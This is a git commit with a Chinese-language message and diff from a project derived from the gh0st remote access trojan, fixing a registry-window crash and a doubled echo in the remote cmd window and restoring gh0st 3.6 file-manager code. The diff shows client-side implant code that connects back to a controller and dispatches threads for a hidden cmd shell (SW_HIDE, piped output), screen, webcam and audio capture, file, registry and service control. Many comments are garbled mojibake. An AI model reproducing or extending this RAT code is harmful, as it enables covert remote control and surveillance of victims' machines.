修复注册表管理窗口关闭时崩溃的缺陷

1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.

2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。

3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap
modified after it was freed"问题。
This commit is contained in:
yuanyuanxiang
2019-01-12 18:21:42 +08:00
parent 135a3439d1
commit 681ab9bd82
30 changed files with 913 additions and 562 deletions

View File

@@ -58,3 +58,12 @@
1、修复文件管理对话框多次打开崩溃的问题【遗留问题】 1、修复文件管理对话框多次打开崩溃的问题【遗留问题】
2、遗留问题远程cmd窗口总是将输入命令输出2次、文件对话框的菜单操作可能已失效。 2、遗留问题远程cmd窗口总是将输入命令输出2次、文件对话框的菜单操作可能已失效。
2019.1.12
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.
2、修复上述"cmd窗口总是将输入命令输出2次"遗留问题。
3、打开注册表关闭后崩溃参照按对文件管理窗口的修改进行处理。遗留问题
并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。

View File

@@ -114,6 +114,7 @@ BOOL CAudio::InitializeWaveIn()
//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (mmResult != MMSYSERR_NOERROR) if (mmResult != MMSYSERR_NOERROR)
{ {
CloseHandle(h);
return FALSE; return FALSE;
} }

View File

@@ -92,6 +92,8 @@ CAudioManager::~CAudioManager()
{ {
m_bIsWorking = FALSE; //<2F><EFBFBD><E8B6A8><EFBFBD><EFBFBD>״̬Ϊ<CCAC><CEAA> m_bIsWorking = FALSE; //<2F><EFBFBD><E8B6A8><EFBFBD><EFBFBD>״̬Ϊ<CCAC><CEAA>
WaitForSingleObject(m_hWorkThread, INFINITE); //<2F>ȴ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>߳̽<DFB3><CCBD><EFBFBD> WaitForSingleObject(m_hWorkThread, INFINITE); //<2F>ȴ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>߳̽<DFB3><CCBD><EFBFBD>
if (m_hWorkThread)
CloseHandle(m_hWorkThread);
if (m_AudioObject!=NULL) if (m_AudioObject!=NULL)
{ {

View File

@@ -14,7 +14,6 @@ CCaptureVideo::CCaptureVideo()
{ {
if(FAILED(CoInitialize(NULL))) if(FAILED(CoInitialize(NULL)))
{ {
return; return;
} }
m_pCapture = NULL; m_pCapture = NULL;
@@ -128,9 +127,7 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
HRESULT CCaptureVideo::InitCaptureGraphBuilder() HRESULT CCaptureVideo::InitCaptureGraphBuilder()
{ {
HRESULT hResult; HRESULT hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC,
hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC,
IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //<2F><>ʵ<EFBFBD> IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //<2F><>ʵ<EFBFBD>
if (FAILED(hResult)) if (FAILED(hResult))
@@ -146,7 +143,6 @@ HRESULT CCaptureVideo::InitCaptureGraphBuilder()
return hResult; return hResult;
} }
//<2F><><EFBFBD><EFBFBD><EFBFBD>˰󶨵<CBB0><F3B6A8B5><EFBFBD>ʵ<EFBFBD><EFBFBD><E8B1B8><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><EFBFBD>˰󶨵<CBB0><F3B6A8B5><EFBFBD>ʵ<EFBFBD><EFBFBD><E8B1B8><EFBFBD><EFBFBD>
m_pCapture->SetFiltergraph(m_pGB); m_pCapture->SetFiltergraph(m_pGB);
hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC); hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC);
if (FAILED(hResult)) if (FAILED(hResult))
@@ -154,7 +150,6 @@ HRESULT CCaptureVideo::InitCaptureGraphBuilder()
return hResult; return hResult;
} }
//???
hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW); hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW);
if (FAILED(hResult)) if (FAILED(hResult))
{ {
@@ -253,7 +248,7 @@ void CCaptureVideo::ResizeVideoWindow()
void CCaptureVideo::SendEnd() //<2F><><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD> <20><><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD> void CCaptureVideo::SendEnd() //<2F><><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD> <20><><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
{ {
InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY); //ԭ<><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> //ԭ<><D4AD><EFBFBD>Լ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>copy InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY);
} }
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize) LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
@@ -263,7 +258,7 @@ LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
{ {
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬ if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
{ {
szBuffer = mCB.GetNextScreen(dwSize); //ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> szBuffer = mCB.GetNextScreen(dwSize);//ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
} }
} while (szBuffer==NULL); } while (szBuffer==NULL);

View File

@@ -65,7 +65,7 @@ public:
m_ulFullHeight = 0 ; m_ulFullHeight = 0 ;
} }
LPBITMAPINFO GetBmpInfor() // LPBITMAPINFO GetBmpInfor()
{ {
if (m_BitmapInfor_Full==NULL) //ͷ<><CDB7>Ϣ if (m_BitmapInfor_Full==NULL) //ͷ<><CDB7>Ϣ
{ {
@@ -113,7 +113,6 @@ public:
STDMETHODIMP QueryInterface(REFIID riid, void ** lParam) STDMETHODIMP QueryInterface(REFIID riid, void ** lParam)
{ {
//???
if( riid == IID_ISampleGrabberCB || riid == IID_IUnknown ){ if( riid == IID_ISampleGrabberCB || riid == IID_IUnknown ){
*lParam = (void *) static_cast<ISampleGrabberCB*> ( this ); *lParam = (void *) static_cast<ISampleGrabberCB*> ( this );
return NOERROR; return NOERROR;

View File

@@ -10,6 +10,7 @@
#include "RegisterManager.h" #include "RegisterManager.h"
#include "ServicesManager.h" #include "ServicesManager.h"
#include "VideoManager.h" #include "VideoManager.h"
#include "KernelManager.h"
extern char g_szServerIP[MAX_PATH]; extern char g_szServerIP[MAX_PATH];
extern unsigned short g_uPort; extern unsigned short g_uPort;
@@ -49,13 +50,15 @@ DWORD WINAPI ThreadProc(LPVOID lParam)
template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam) template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
{ {
IOCPClient *ClientObject = (IOCPClient *)lParam; ThreadInfo *pInfo = (ThreadInfo *)lParam;
IOCPClient *ClientObject = pInfo->p;
if (ClientObject->ConnectServer(g_szServerIP,g_uPort)) if (ClientObject->ConnectServer(g_szServerIP,g_uPort))
{ {
Manager m(ClientObject, n); Manager m(ClientObject, n);
ClientObject->RunEventLoop(); ClientObject->RunEventLoop(pInfo->run);
} }
delete ClientObject; delete ClientObject;
pInfo->p = NULL;
return 0; return 0;
} }

File diff suppressed because it is too large Load Diff

View File

@@ -1,44 +1,60 @@
// FileManager.h: interface for the CFileManager class. // FileManager.h: interface for the CFileManager class.
// //
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
#include "IOCPClient.h"
#include "common.h"
typedef IOCPClient CClientSocket;
#if !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_) #if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
#define AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_ #define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
#include <winsock2.h>
#include <list>
#include <string>
#include "Manager.h"
using namespace std;
#if _MSC_VER > 1000 #if _MSC_VER > 1000
#pragma once #pragma once
#endif // _MSC_VER > 1000 #endif // _MSC_VER > 1000
#include "Manager.h"
#include "IOCPClient.h"
typedef struct typedef struct
{ {
DWORD dwSizeHigh; UINT nFileSize; // <20>ļ<EFBFBD><C4BC><EFBFBD>С
DWORD dwSizeLow; UINT nSendSize; // <20>ѷ<EFBFBD><D1B7>ʹ<EFBFBD>С
}FILE_SIZE; }SENDFILEPROGRESS, *PSENDFILEPROGRESS;
class CFileManager : public CManager class CFileManager : public CManager
{ {
public: public:
CFileManager(IOCPClient* ClientObject, int n); void OnReceive(LPBYTE lpBuffer, UINT nSize);
UINT SendDriveList();
CFileManager(CClientSocket *pClient, int h = 0);
virtual ~CFileManager(); virtual ~CFileManager();
private:
list <string> m_UploadList;
UINT m_nTransferMode;
char m_strCurrentProcessFileName[MAX_PATH]; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
__int64 m_nCurrentProcessFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ij<EFBFBD><C4B3><EFBFBD>
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
bool UploadToRemote(LPBYTE lpBuffer);
bool FixedUploadList(LPCTSTR lpszDirectory);
void StopTransfer();
UINT SendFilesList(LPCTSTR lpszDirectory);
bool DeleteDirectory(LPCTSTR lpszDirectory);
UINT SendFileSize(LPCTSTR lpszFileName);
UINT SendFileData(LPBYTE lpBuffer);
void CreateFolder(LPBYTE lpBuffer);
void Rename(LPBYTE lpBuffer);
int SendToken(BYTE bToken);
VOID OnReceive(PBYTE szBuffer, ULONG ulLength); void CreateLocalRecvFile(LPBYTE lpBuffer);
ULONG CFileManager::SendDiskDriverList() ; void SetTransferMode(LPBYTE lpBuffer);
ULONG CFileManager::SendFilesList(char* szDirectoryPath); void GetFileData();
VOID CFileManager::CreateClientRecvFile(LPBYTE szBuffer); void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
void UploadNext();
BOOL CFileManager::MakeSureDirectoryPathExists(char* szDirectoryFullPath); bool OpenFile(LPCTSTR lpFile, INT nShowCmd);
char m_szOperatingFileName[MAX_PATH];
__int64 m_OperatingFileLength;
VOID CFileManager::GetFileData() ;
VOID CFileManager::WriteClientRecvFile(LPBYTE szBuffer, ULONG ulLength);
ULONG m_ulTransferMode;
VOID CFileManager::SetTransferMode(LPBYTE szBuffer);
VOID CFileManager::Rename(char* szExistingFileFullPath,char* szNewFileFullPath);
}; };
#endif // !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_) #endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)

View File

@@ -338,9 +338,10 @@ VOID IOCPClient::Disconnect()
} }
VOID IOCPClient::RunEventLoop() VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
{ {
OutputDebugStringA("======> RunEventLoop begin\n"); OutputDebugStringA("======> RunEventLoop begin\n");
while (m_bIsRunning) Sleep(200); while (m_bIsRunning && bCondition)
Sleep(200);
OutputDebugStringA("======> RunEventLoop end\n"); OutputDebugStringA("======> RunEventLoop end\n");
} }

View File

@@ -54,7 +54,7 @@ public:
VOID setManagerCallBack(class CManager* Manager); VOID setManagerCallBack(class CManager* Manager);
VOID Disconnect(); VOID Disconnect();
VOID RunEventLoop(); VOID RunEventLoop(const BOOL &bCondition);
bool IsConnected() const { return m_bConnected; } bool IsConnected() const { return m_bConnected; }
public: public:

View File

@@ -11,12 +11,12 @@
CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject) CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
{ {
memset(m_hThread, NULL, sizeof(ThreadInfo) * 0x1000);
m_ulThreadCount = 0; m_ulThreadCount = 0;
} }
CKernelManager::~CKernelManager() CKernelManager::~CKernelManager()
{ {
printf("~CKernelManager \n");
int i = 0; int i = 0;
for (i=0;i<0x1000;i++) for (i=0;i<0x1000;i++)
{ {
@@ -24,6 +24,9 @@ CKernelManager::~CKernelManager()
{ {
CloseHandle(m_hThread[i].h); CloseHandle(m_hThread[i].h);
m_hThread[i].h = NULL; m_hThread[i].h = NULL;
m_hThread[i].run = FALSE;
while (m_hThread[i].p)
Sleep(50);
} }
} }
m_ulThreadCount = 0; m_ulThreadCount = 0;
@@ -40,7 +43,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopTalkManager, (LPTHREAD_START_ROUTINE)LoopTalkManager,
pNew, 0, NULL);; &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
@@ -48,7 +51,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopShellManager, (LPTHREAD_START_ROUTINE)LoopShellManager,
pNew, 0, NULL);; &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
@@ -56,7 +59,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)LoopProcessManager, (LPTHREAD_START_ROUTINE)LoopProcessManager,
pNew, 0, NULL);; &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
@@ -64,7 +67,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopWindowManager, (LPTHREAD_START_ROUTINE)LoopWindowManager,
pNew, 0, NULL);; &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
@@ -72,6 +75,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
OutputDebugStringA("======> Bye bye \n");
m_hThread[m_ulThreadCount].p = NULL;
delete pNew;
pNew = NULL;
break; break;
} }
@@ -79,7 +86,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopScreenManager, (LPTHREAD_START_ROUTINE)LoopScreenManager,
pNew, 0, NULL);; &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
@@ -87,7 +94,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopFileManager, (LPTHREAD_START_ROUTINE)LoopFileManager,
pNew, 0, NULL);; &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
@@ -95,7 +102,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopVideoManager, (LPTHREAD_START_ROUTINE)LoopVideoManager,
pNew, 0, NULL);; &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
@@ -103,7 +110,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopAudioManager, (LPTHREAD_START_ROUTINE)LoopAudioManager,
pNew, 0, NULL);; &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
@@ -111,7 +118,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopRegisterManager, (LPTHREAD_START_ROUTINE)LoopRegisterManager,
pNew, 0, NULL);; &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
@@ -119,7 +126,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopServicesManager, (LPTHREAD_START_ROUTINE)LoopServicesManager,
pNew, 0, NULL); &m_hThread[m_ulThreadCount], 0, NULL);
break; break;
} }

View File

@@ -15,9 +15,10 @@
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD><EFBFBD><E1B9B9> // <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD><EFBFBD><E1B9B9>
struct ThreadInfo struct ThreadInfo
{ {
BOOL run;
HANDLE h; HANDLE h;
IOCPClient *p; IOCPClient *p;
ThreadInfo() : h(NULL), p(NULL){ } ThreadInfo() : run(TRUE), h(NULL), p(NULL){ }
}; };
class CKernelManager : public CManager class CKernelManager : public CManager

View File

@@ -26,6 +26,17 @@ CManager::~CManager()
} }
} }
int CManager::Send(LPBYTE lpData, UINT nSize)
{
int nRet = 0;
try
{
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
}catch(...){};
return nRet;
}
VOID CManager::WaitForDialogOpen() VOID CManager::WaitForDialogOpen()
{ {
WaitForSingleObject(m_hEventDlgOpen, INFINITE); WaitForSingleObject(m_hEventDlgOpen, INFINITE);

View File

@@ -29,8 +29,6 @@ STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ" CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ"
FONT 10, "System", 0, 0, 0x0 FONT 10, "System", 0, 0, 0x0
BEGIN BEGIN
DEFPUSHBUTTON "OK",IDOK,27,87,50,14
PUSHBUTTON "Cancel",IDCANCEL,104,87,50,14
EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER
END END

View File

@@ -16,14 +16,15 @@ BOOL bStarting = TRUE;
CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject) CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{ {
m_nCmdLength = 0;
bStarting = TRUE; bStarting = TRUE;
m_hThreadRead = NULL; m_hThreadRead = NULL;
m_hShellProcessHandle = NULL; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD> m_hShellProcessHandle = NULL; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
m_hShellThreadHandle = NULL; m_hShellThreadHandle = NULL;
SECURITY_ATTRIBUTES sa = {0}; SECURITY_ATTRIBUTES sa = {0};
sa.nLength = sizeof(sa); sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL; sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE; //<2F><>Ҫ sa.bInheritHandle = TRUE; //<2F><>Ҫ
m_hReadPipeHandle = NULL; //client m_hReadPipeHandle = NULL; //client
m_hWritePipeHandle = NULL; //client m_hWritePipeHandle = NULL; //client
m_hReadPipeShell = NULL; //cmd m_hReadPipeShell = NULL; //cmd
@@ -40,9 +41,9 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj
CloseHandle(m_hWritePipeShell); CloseHandle(m_hWritePipeShell);
} }
return; return;
} }
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0)) if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
{ {
if(m_hWritePipeHandle != NULL) if(m_hWritePipeHandle != NULL)
{ {
@@ -53,7 +54,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj
CloseHandle(m_hReadPipeShell); CloseHandle(m_hReadPipeShell);
} }
return; return;
} }
//<2F><><EFBFBD><EFBFBD>Cmd FullPath //<2F><><EFBFBD><EFBFBD>Cmd FullPath
char strShellPath[MAX_PATH] = {0}; char strShellPath[MAX_PATH] = {0};
@@ -68,13 +69,13 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj
PROCESS_INFORMATION pi = {0}; //CreateProcess PROCESS_INFORMATION pi = {0}; //CreateProcess
memset((void *)&si, 0, sizeof(si)); memset((void *)&si, 0, sizeof(si));
memset((void *)&pi, 0, sizeof(pi)); memset((void *)&pi, 0, sizeof(pi));
si.cb = sizeof(STARTUPINFO); //<2F><>Ҫ si.cb = sizeof(STARTUPINFO); //<2F><>Ҫ
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = m_hReadPipeShell; //<2F><><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD>ֵ si.hStdInput = m_hReadPipeShell; //<2F><><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD>ֵ
si.hStdOutput = si.hStdError = m_hWritePipeShell; si.hStdOutput = si.hStdError = m_hWritePipeShell;
si.wShowWindow = SW_HIDE; si.wShowWindow = SW_HIDE;
@@ -89,7 +90,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj
CloseHandle(m_hReadPipeShell); CloseHandle(m_hReadPipeShell);
CloseHandle(m_hWritePipeShell); CloseHandle(m_hWritePipeShell);
return; return;
} }
m_hShellProcessHandle = pi.hProcess; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD> m_hShellProcessHandle = pi.hProcess; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
m_hShellThreadHandle = pi.hThread; m_hShellThreadHandle = pi.hThread;
@@ -124,8 +125,13 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
//<2F><>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD> //<2F><>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
ReadFile(This->m_hReadPipeHandle, ReadFile(This->m_hReadPipeHandle,
szTotalBuffer, dwTotal, &dwReturn, NULL); szTotalBuffer, dwTotal, &dwReturn, NULL);
#ifdef _DEBUG
This->m_ClientObject->OnServerSending((char*)szTotalBuffer, dwReturn); printf("===> Input length= %d \n", This->m_nCmdLength);
#endif
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
int length = int(dwReturn) - This->m_nCmdLength;
if (length > 0)
This->m_ClientObject->OnServerSending(pStart, length);
LocalFree(szTotalBuffer); LocalFree(szTotalBuffer);
} }
@@ -145,18 +151,14 @@ VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
default: default:
{ {
m_nCmdLength = (ulLength - 2);// <20><><EFBFBD><EFBFBD>"\r\n"
unsigned long dwReturn = 0; unsigned long dwReturn = 0;
if(WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL)) WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL);
{
}
break; break;
} }
} }
} }
CShellManager::~CShellManager() CShellManager::~CShellManager()
{ {
bStarting = FALSE; bStarting = FALSE;
@@ -174,8 +176,8 @@ CShellManager::~CShellManager()
if (m_hWritePipeHandle != NULL) if (m_hWritePipeHandle != NULL)
{ {
DisconnectNamedPipe(m_hWritePipeHandle); DisconnectNamedPipe(m_hWritePipeHandle);
CloseHandle(m_hWritePipeHandle); CloseHandle(m_hWritePipeHandle);
m_hWritePipeHandle = NULL; m_hWritePipeHandle = NULL;
} }
if (m_hReadPipeShell != NULL) if (m_hReadPipeShell != NULL)
{ {
@@ -186,7 +188,12 @@ CShellManager::~CShellManager()
if (m_hWritePipeShell != NULL) if (m_hWritePipeShell != NULL)
{ {
DisconnectNamedPipe(m_hWritePipeShell); DisconnectNamedPipe(m_hWritePipeShell);
CloseHandle(m_hWritePipeShell); CloseHandle(m_hWritePipeShell);
m_hWritePipeShell = NULL; m_hWritePipeShell = NULL;
}
if (m_hThreadRead)
{
CloseHandle(m_hThreadRead);
m_hThreadRead = NULL;
} }
} }

View File

@@ -28,7 +28,7 @@ public:
static DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam); static DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam);
HANDLE m_hThreadRead; HANDLE m_hThreadRead;
int m_nCmdLength; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4>
HANDLE m_hShellProcessHandle; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD> HANDLE m_hShellProcessHandle; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
HANDLE m_hShellThreadHandle; HANDLE m_hShellThreadHandle;
}; };

View File

@@ -15,8 +15,8 @@ using namespace std;
#define ID_TIMER_DELAY_DISPLAY 2 #define ID_TIMER_DELAY_DISPLAY 2
#define ID_TIMER_CLOSE_WINDOW 3 #define ID_TIMER_CLOSE_WINDOW 3
#define WIN_WIDTH 120 #define WIN_WIDTH 250
